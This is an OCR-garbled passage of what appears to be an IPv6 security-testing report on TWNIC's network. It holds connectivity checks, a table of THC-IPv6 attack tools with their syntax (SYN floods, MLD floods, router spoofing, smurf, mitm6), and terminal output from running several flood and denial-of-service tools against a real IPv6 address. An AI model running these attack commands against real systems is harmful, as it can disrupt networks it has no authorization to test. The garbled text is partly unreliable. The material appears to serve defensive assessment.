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HTTP requests -
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Broadcast IPv6 i * Multicast %% | 3% % & # B Echo
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#) PRMEEFENE | 5L R

oo BArILG P T
R ‘FK{JY IPv4d % 2 >
¥ IPV6 2rat 72 o

#73 «h Extension
header injection

T

1. Next headers g §*
WA o

2. Hop-by-Hop Option
Header sz # e

T 531 IPV6 7]
ader% i @ pTA e

it~ - 43




Padding s #
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Header =7 Padding
#
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RHO sz #
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Header srsc#
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& Firewall -
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Extension
header
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1. fc* RA-Guard
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$2 %  ICPIPV6 %k .2 IPV6 EE.T > Pl

% - & IPV6 2% T4k Rl

FHIPVE 2 R RATF ¢ A H RS RE R R R
27 o VBB ALY AR PR B RS N MR 2T

@ % 4% IPV6

% 15 ICP %+ 1 IPv6 3% ik ifl %

¥ | AR | R EBIR | Bl (Wi EE BIER Y| R
2 3 1kE

CT-1 |24 |zt 4 | Trying &+ |curl-v % |curl

IPV6 =t IPV6 i+ 1+ ~ It [ 1+ --head
7 g )

(http =“ TCP_NODEL

https) AY set ~

Connected to
Connected to
44 (IPV6
ht) port

443 ~ T B o7
successfully
set certificate

verify
locations J} 7
HTTP/2 200
CT-2 | d |inippEed g k70T o4 | traceroute6 | tracer
= e d B IPv6 = | TR oute6
IPV6 =1t Ht

CT-3 |DNS | =8 F & |# 7 IPv6 iz |digaaaa 19 |dig
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3 I FEK ht e i
Z_IPV6 i~ @8.8.8.8
yh +short
CT-4 |[DNS |=ti * 2 k¢ IPv6 = |foriin “dig |dig
97 Bt @8.8.8.8
DNS +short NS
Server & & ARl
£ % IPV6 do echo -n
= g 5l =>
[ipv6] *;
dig aaaa $i
@8.8.8.8
+short;
done
CT-5 |DNS | ezl * T = 7 o ping6 12 % | ping6
7 DNS ¢ PING 3] |
IPv6 48+ IPV6 =1t
2 PING i€
i
CT-6 |[DNS |zt # &_ k¢ IPv6 = |foriin “dig |dig
1 DNS & ht @8.8.8.8
X Rk +short NS
19 2 4 o s
IPV6 i 1 do echo -n
2 " =
[ipve] *;
dig aaaa 12
i @9
+short;
done
CT-7 [Mail |3zt * T k¢ IPv6 = |foriin dig |dig
Serve | & Mail Bt @8.8.8.8
r Server %t & +short MX
4 1PV6 i 1
g0y do echo -n
@ 5=
- [ipv6] ";
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dig aaaa i
@8.8.8.8
+short;
done;

4 TWNIC B4 B2 A 5 e i 33 ¢ o (www.twnic.net.tw) & i) »
wl g A OICP “‘iﬁ 1 [PVO 3K T4 Bl & cTuRIRIE P B (TR o

1. ezken|Pv6 =ht ¥ ig - (http & https)

[ N
root@localhost:~# curl -v https://www.twnic.net.tw/ --head
Trying 20@1:c5@:ffff:1::9999...
TCP_NODELAY set
Connected to www.twnic.net.tw (2001:c50:ffff:1::9999) port 443 (#0)
ALPN, offering h2
ALPN, offering http/1.1
successfully set certificate verify locations:
CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
(384) (OUT), TLS handshake, Client hello (1):
(324) (IN), TLS handshake, Server hello (2):
TLSv1.2 (IN), TLS handshake, Certificate (11):
TLSv1.2 (IN), TLS handshake, Server key exchange (12):
TLSv1.2 (IN), TLS handshake, Server finished (14):
TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
TLSv1.2 (OUT), TLS change cipher, Client hello (1):
TLSv1.2 (0UT), TLS handshake, Finished (20):
TLSv1.2 (IN), TLS handshake, Finished (20):
SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
ALPN, server accepted to use http/1.1
Server certificate:
subject: C=TW; ST=Taipei; L=Taipei; OU=Tech Dept.; O=TAINAN NETWORK INFORMA
TION CENTER; CN=*.twnic.net.tw
* start date: Apr 23 02:48:54 2019 GMT
expire date: May 2@ @08:48:46 2020 GMT
subjectAltName: host "www.twnic.net.tw" matched cert's "*.twnic.net.tw"
issuer: (=BE; 0=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA
SHAZ256 - G2
SSL certificate verify ok.
HEAD / HTTP/1.1
Host: www.twnic.net.tw
User-Agent: curl/7.58.0

*
*
*
*
*
*
*
*
*
*
*
*
*

B 9 TWNICCT-1R#FEESF o 2 -
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SSL certificate verify ok.
HEAD / HTTP/1.1
Host: www.twnic.net.tw
User-Agent:
Accept: */%

HTTP/1.1 20@ OK
HTTP/1.1 20@ OK
< Date: Fri, @4 Oct 2019 ©05:41:52 GMT
Date: Fri, @4 Oct 2019 @5:41:52 GMT
< X-Frame-Options: SAMEQRIGIN
X-Frame-Options: SAMEORIGIN
< X-Powered-By: PHP/5.3.3
X-Powered-By: PHP/5.3.3
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< X-Cache: MISS from www.twnic.net.tw
X-Cache: MISS from www.twnic.net.tw
< X-Cache-Lookup: MISS from www.twnic.net.tw:8@
X-Cache-Lookup: MISS from waw.twnic.net.tw:8@
< Strict-Transport-Security: max-age=31536000; includeSubDomains
Strict-Transport-Security: max-age=31536000; includeSubDomains
< Server: TWNIC
Server: TWNIC
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Connection: keep-alive
Connection: keep-alive

<
* Connection #@ to host www.twnic.net.tw left intact
root@localhost:~# [J

2. pikEd BTG OIPV6 i
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root@localhost:~# traceroute6 twnic.net.tw
traceroute to (2001:c50:ffff:1::9999) from 2400:8902::f03c:91ff:fed4a:3287, 30
hops max, 24 byte packets

1 2400:8902::fa66:f2ff:fe@0:841 (2400:8902::fa66:f2ff:fe@@:841) 1.698 ms 24
00:8902::4255:39Ff:fe@8:e9cl (2400:8902::4255:39ff:fe@8:e9c1) 4.489 ms 0.777
ms

2 2400:8902:b::1 (2400:8902:b::1) ©.675 ms @.58 ms ©.386 ms

3 2001:418:16::f1 (2001:418:16::f1) 1.029 ms ©.868 ms ©.993 ms

4 ae-18.r31.tokyjp@5.jp.bb.gin.ntt.net (2001:218:0:2000::2d6) 1.695 ms 1.1
@8 ms 1.11 ms

5 ae-3.r@l.taiptw@2.tw.bb.gin.ntt.net (2001:218:0:2000::d9) 31.538 ms 31.5
35 ms 31.476 ms

6 xe-0-0-0-0-0.r0l.taiptwd2.tw.ce.gin.ntt.net (2001:218:8000:5000::3a) 31.3
9% ms 31.384 ms 31.37 ms

7 2001:4540:3100:ce::3 (2001:4540:3100:ce::3) 33.061 ms 33.792 ms 32.981
ms

8 2001:4540:3100:118::3 (2001:4540:3100:118::3) 34.588 ms 33.446 ms 34.64

B 11 TWNICCT-2 pl:ds % & o

Ihost: sh)
root@localhost:~# dig twnic.net.tw @8.8.8.8 AAAA +short
2001:c50: ffff:1::9999
root@localhost:~# ||

B 12 TWNICCT-3 %54 w

4, Hexkig * 75 DNS  Server & £ & 5 IPV6 =it

[ ] 110 )
root@localhost:~# for i in "dig @8.8.8.8 +short NS twnic.net.tw’; do echo -n "$i = [i
pve] "; dig acaa $i @8.8.8.8 +short; done

dnsl.twnic.net.tw. => [ipv6] 2001:b@34:2000:1000:1000: :2e
dns2.twnic.net.tw. => [ipv6] 2001:c50:ffff:1::9:58
root@localhost:~# ||

B 13 TWNICCT-4 Blidd 5% 4w

5. Hexti# * enDNS e IPV6 ‘IZK? 2 PING i if
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root@localhost:~# ping6 twnic.net.tw -c 5

PING twnic.net.tw(2001:c50:ffff:1::9999 (2001:c5@:ffff:1::9999)) 56 data bytes

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seg=1 tt1=58
time=33.1 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seqg=2 ttl=58
time=33.5 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=3 ttl=58
time=33.5 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=4 ttl=58
time=33.4 ms

64 bytes from 2001:c50:ffff:1::9999 (2001:c50:ffff:1::9999): icmp_seq=5 ttl=58
time=33.7 ms

--- twnic.net.tw ping statistics ---

5 packets transmitted, 5 received, @% packet loss, time 4@@6ms
rtt min/avg/max/mdev = 33.163/33.496/33.738/0.19@ ms
root@localhost:~# ||

B 14 TWNICCT-5 B2 5% 4w

6. Hexhit % I DNS & K T @b 8 57IPV6 T ht

root@localhost:~# dig 28.8.8.8 +short NS twnic.net.tw
dnsZ.twnic.net.tw.

dnsl.twnic.net.tw.

root@localhost:~# dig aaaa dns.twnic.net.tw. +short
2001:c50:ffff:1::9:58

root@localhost:~# dig aaaa dnsl.twnic.net.tw. +short
2001 :b@34: 2000 :1000:1000: : 2e

B 15 TWNICCT-6 Bl:#2 5% & %
7. ez % o Mail Server 3R & 3 IPV6 imut > ¥ ¥ g 7 F(TWNIC

1 MX 2% 3% Z_IPV6)

root@localhost:~# dig @8.8.8.8 +short MX twnic.net.tw
10 mailgw.twnic.net.tw.

root@localhost:~# dig aaaa mailgw.twnic.net.tw +short
root@localhost : ~#

B 16 TWNICCT-7 Blid 5% & o
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oA REREX 2R AR

T AN R TR T T RN E 2P B2 R HiEREa
FE IR R Lot DAl Bk LT A frx ey
FEET e R FREE FOT AR R BT U R T e

RIREEFEG . B ZBE p (A0 e BERBEIRAE S -

Z 16 HEERR T ERLE 21ERIIE P

B | A% PR > | R RN Bl L
BleEE R (2T

12 L IPV6 RIGE R H (T AT 0k R (7 RIRE)

ST-1 |gd B | A5z | & |thcsyn6 [FAcDrRS] | thcsyn6

K iR [-p port] [-s
R sourceip6] interface
target port
ST-2 |Bd B | A 5%zF | 4 exploit6 interface exploit6
& X 13 R destination
R [test-case-number]

ST-3 | gd B |DDoSsz | A fuzz_ip6 [-x] [t fuzz_ip6
# number | -T number]
(ICMPv [-p number]
6) [-IFSDHRJ]
[-X|-1]-2|-3|-4|-5]-6]-
7|-8]-9|-0 port]
interface
unicast-or-multicast-
address
[address-in-data-pkt]
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ST-4 |#d = |Ping of i frag6 -i [interface] | frag6
Death --frag-id-policy -d
(PoD) [destination]
ST-5 |gd B |ER&FH | 4 flow6 -i [interface] | flow6
--flow-label-policy
-d [destination] -v
ST-6 |33 |DDoS st |& Implementation6 implement
5 # (Smurf [-p] [-s sourceip6] ation6
) interface destination
[test-case-number]
ST-7 |[H© DDos sz | &_ flood_mld6 flood_mld
# interface 6
( Duplica
te Address
Detection
)
ST-8 |H & Upper i flood_mld26 flood_mld
Layer interface 26
Header =~
1z
ST9 |[H Atomic X denial6 interface denial6
Fragment destination
1z ¥ test-case-number
LT GO IPVG RIRE R (F T R T RRR)
ST-10 | g d £ |DDoS sz | & inject_alive6 [-ap] alive6
# ( Router interface
Advertise
ment )
ST-11 | g d £ | DDoS sz | & inject_alive6 [-ap] alive6
1 interface
(neighbo
r
advertise

”ﬁ:%”:"\ -
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ments )

ST-12 | g d ® | DDoS 5= | &_ redir6 interface redir6
# (MLD victim-ip target-ip
reports ) original-router
new-router
[new-router-mac]
[hop-limit]
ST-13 | g.d ® |DDoS sz | &_ | dos-new-ip6 dos-new-i
# interface p6
(MLDv2
reports )
ST-14 | ped B | ¢ & 4 7c | & | fake_mipv6 interface | fake_mip
# home-address V6
home-agent-address
care-of-address
ST-15 | g d £ | DDoS sz | & fake advertise6 fake_adve
# [-DHF] [-Ors] [-n rtiser6
( unknow count] [-w seconds]
. interface
DCIES) ip-address-advertise
d [target-address
[mac-address-adverti
sed
[source-ip-address]]]
ST-16 | =3 | DDoOS s | &_ implementation6d implemen
5 # (Smurf interface tation6d
7))
ST-17 | DNS e = flood_dhcpc6 [-n|-N] | flood_dhc
[-1] [-d] interface pc6
[domain-name]
ST-18 | DNS AEHE | & toobig6 [-u] toobig6
& % % PR interface target-ip
G R existing-ip mtu
[hop-limit]
ST-19 | DNS A& | E fake dns6d interface | fake _dns6
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B ER ipv6-address d
kR [fake-ipv6-address
[fake-mac]]
ST-20 | DNS A& | 5 fake_dnsupdate6 fake_dnsu
EN :5 % PR dns-server pdate6
R full-qualified-host-d
ns-name ipv6address
ST-21 | iT% % |CVE-200 | &_ mitm6.py [-h] [-i mitm6
S5 3-0429 INTERFACE] [
Ethereal LOCALDOMAIN]
OSl % [-4 ADDRESS] [-6
1 % bR ADDRESS]
i P
= ADDRESS] [-a] [-V]
[--debug] [-d
DOMAIN] [-b
DOMAIN]
[-hw DOMAIN]
[-hb DOMAIN]
[--ignore-nofqdn]
ST-22 | iv% % |CVE-200 | &_ fake_mld6 [-1] fake_mld
1 4-0257 interface 6
OpenBSD add|delete|query
[multicast-address
ICMPv6 [target-address [ttl
JRIL B AR [own-ip
DDoS 1z [own-mac-address
3B [destination-mac-add
ress]]]11]
ST-23 | L4 | DDoS sz | &_ fake_mld26 [-I] fake_mld
# interface 26
(TCP-S add|delete|query
YN) [multicast-address

[target-address [ttl
[own-ip
[own-mac-address
[destination-mac-add

ress]]111]

45~ - 57




ST-24 | L | B 4FhH | & fake_mldrouter6 [-1] | fake_mldr
interface outer6
advertise|solicitate|te
rminate [own-ip
[own-mac-address]]

ST-25 | vy | A~k 2 | & fake router6 [-HFD] | fake_rout
interface eré
network-address/pref
ix-length [dns-server
[router-ip-link-local
[mtu
[mac-address]]]]

ST-26 | Vit | A~k 2 | & flood_router6 flood_rou
[-HFD] interface ter6

ST-27 | H @ DDoS sz | #_ flood_advertise6 [-k | flood_adv

# | -m mac] interface | ertise6
[target]
ST-28 | # A& | E ndpexhaust26 ndpexhau
B «ﬁ % PR [-acpPTUrR] [-s st26
R sourceip6] interface
target-network
ST-29 | H AEskTE | A parasite6 [-IRFHD] | parasite6
&k &R interface [fake-mac]
R
ST-30 | H > | & smurf6 interface smurf6
1E victim-ip
( flow [multicast-network-a
label ) ddress]

ST-31 | H s i1t | £ rsmurf6 interface rsmurf6
victim-ip

TG IPv4 pliR R

ST-32 |ged B | ¢ F A3z | A arpspoof -i Arpspoof

iF [Network Interface

Name] -t [Victim IP]
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[Router IP]

ST-33 | f# L34 | DDoS sz | #_ hping3 --traceroute | hping3
i R VA

ST-34 | | ¥ B A3 | & BlA50 Ao 3T ettercap
¥

ST-35 | L34 | DDoS sz | &_ B2 Ao dg 0T Evil
# 0 FOCA
A s

r4 TWNIC B4 B2 A 5 i 33 ¢ o (www.twnic.net.tw) & i) »
a G g 2 ICP R en IPV6 3K TR iR] & G070 b iR (7 RIGE 0
BB TR e
1. @& * thcsyn6 Bzl &
root@localhost:~# thcsyné eth® 2001:c5@:ffff:1::9999 80

Starting to flood target network with TCP-SYN eth® (Press Control-C to end, a do
t is printed for every 100@ packets):

root@localhost:~# thcsyn6 eth® 2001:c50:ffff:1::9999 443
Starting to flood target network with TCP-SYN eth® (Press Control-C to end, a do
t is printed for every 100@ packets):

root@localhost:~# ||

B 17 TWNICST-lip:% %4 w

2. &% exploit6 pl:F1 &
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root@localhost:~# exploite eth® 2001:c50:ffff:1::9999

Performing vulnerability checks on 2@001:c50:ffff:1::9999 via eth@:

Test @: normal ping6 PASSED - we got a reply

Test 1: CVE-NONE overlarge ping, 6 checksum combinations

Warning: checksums for packets > 65535 are unreliable due implementation differe
nces on target platforms

Test 2: CVE-NONE large ping, 3 checksum combinations

Warning: checksums for packets > 65535 are unreliable due implementation differe
nces on target platforms

Test 3: CVE-2003-0429 bad prefix length (little information, implementation uns
ure

Test 4: CVE-2004-0257 ping, send toobig on reply, then SYN pkt

Test 5: normal pingé (still alive?) PASSED - we got a reply
root@localhost:~# ]

Bl 18 TWNICST-2 pl:¢% 5% 4w

3. i * fuzz_ip6 Plz¢1 £

C 5

root@localhost:~# fuzz_ip6 -xIFSDHR] eth@® 2001:c50:ffff:1::9999
Fuzzing packet, starting at fuzz case @, ending at fuzz case 1999999999, every p
: acket sent denoted by a dot:

root@localhost:~# [J

B 19 TWNICST3 plig&% 3 m
4., @ % fragb plzE1 £

root@localhost:~# fragé --frag-type atomic -d 2001:c50:ffff:1::9999 -v
Ethernet Source Address: f2:3c:91:4a:32:87 (automatically selected)
Ethernet Destination Address: @@:05:73:a@:@f:ff (automatically selected)

IPv6 Source Address: 2400:8902::f@3c:91ff:fed4a:3287 (automatically selected)
IPve Destination Address: 2001:c5@:ffff:1::9999

IPv6 Hop Limit: 112 (randomized)

Sending Fragment(s)....

root@localhost:~#

B 20 TWNIC ST-4 it % & o
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5. @& * flow6 plzd1 &

[+] 1. root! ost:
root@localhost:~# flowbe -d 2@@01:c50:ffff:1::9999 -i ethd -W
Identifying the 'Flow ID' generation policy of the target node....

Error: Didn't receive enough response packets
root@localhost:~# [J

B 21 TWNICST-5 %% 4w

6. & * implementation6 jpj:&1 &

[ ] 1. lhost:
root@localhost:~# implementation6 eth® -s sourceip6 2001:c50:ffff:1::9999
Performing implementation checks on 20@1:c50:ffff:1::9999 via eth@:
Test @: normal ping6 PASSED - we got a reply
Test 1: hop-by-hop ignore option PASSED - we got a reply

Bl 22 TWNICST-6 %% 4w

7. ¢ * flood mld6 plz&1 £

root@localhost:~# flood_mldé eth® 2@01:c5@:ffff:1::9999
Starting to flood network with MLD reports on eth@® (Press Control-C to end, a do
t is printed for every 100@ packets):

root@localhost:~# ||

Bl 23 TWNICST-7 %% 4w

8. ®# * flood _mld26 pl:# 1 &

1
root@localhost:~# flood_mld26 eth@® 2@0@1:c50:ffff:1::9999
Starting to flood network with MLDv2 reports on eth@ (Press Control-C to end, a
dot is printed for every 100@ packets):

root@localhost:~# ||

B 24 TWNIC ST-8 Blid % & o

9. & * denial6 Bl:g1 £
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® .10 Ihost: 5h)
root@localhost:~# denial6 eth@® 2001:c50:ffff:1::9999 1
Performing denial of service test case no. 1 attack on 20@1:c50:ffff:1::9999 via

eth@:
A "." is shown for every 100@ packets sent, press Control-C to end...

Test 1: large hop-by-hop header with router-alert and filled with unknown option

s.
WARNING: this attack affects all routers on the network path to the target!!

root@localhost:~#

B 25 TWNICST-9p:¢% 5% 4w
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